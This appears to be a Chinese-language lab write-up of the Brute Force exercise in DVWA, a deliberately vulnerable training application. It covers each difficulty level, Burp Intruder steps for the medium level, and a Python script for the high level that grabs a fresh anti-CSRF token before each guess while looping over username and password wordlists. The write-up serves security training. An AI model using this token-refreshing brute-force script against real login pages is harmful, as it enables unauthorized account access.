dvwa-Brute Force爆破
1、介绍
该功能演示的是账号密码场景,对密码的爆破,对账号是已知的。
本章仅进行简单记录,相关技术在其他文章整理。比如burp使用,php代码,python脚本。
2、简单型
没有做任何处理,可以爆破掉,但实际也可以sql注入。(burp爆破由中等演示,sql注入在sql注入模块演示)
3、中等
做了sql注入预防,burp爆掉。
(1)设置等级为medium中等。
(2)输入正确的username,和错误的password。提交。
(3)burp监听,对关键请求发送到intruder模块。
所谓的关键请求,一般是指携带参数提交的请求,可以基于此在burp中直接查找,也可以先在浏览器F12确定提交过程中发出的请求,锁定关键请求后再在burp中查找。
(4)设置password为攻击点,设置payload集合
4、高等
做了token机制,需要脚本,从每次响应中读取token作为下一请求的参数。以python脚本为例。
from bs4 import BeautifulSoup
import requests
header={
'User-Agent':'',
'Cookie':''# 该cookie实际是登录dvwa的凭证
}
url = 'http://192.168.93.134/dvwa/vulnerabilities/brute/'
def get_token(url,headers):
r = requests.get(url, headers=header)
html = r.content.decode()
soup = BeautifulSoup(html, "html.parser")
user_token = soup.find_all('input')[3]["value"]
return user_token
i=0
for admin in open(""):
for line in open(""):
u_token = get_token(url, header)
username = admin.strip()
password = line.strip()
payload = {"username":username, "password":password, "Login":"Login", "user_token":u_token}
i = i+1
response = requests.get(url, params=payload, header=header)
print(i, username,password,len(response.content.decode()))
u_token=get_token(url,header)
5、不可能
限制失败次数,等待时间再次尝试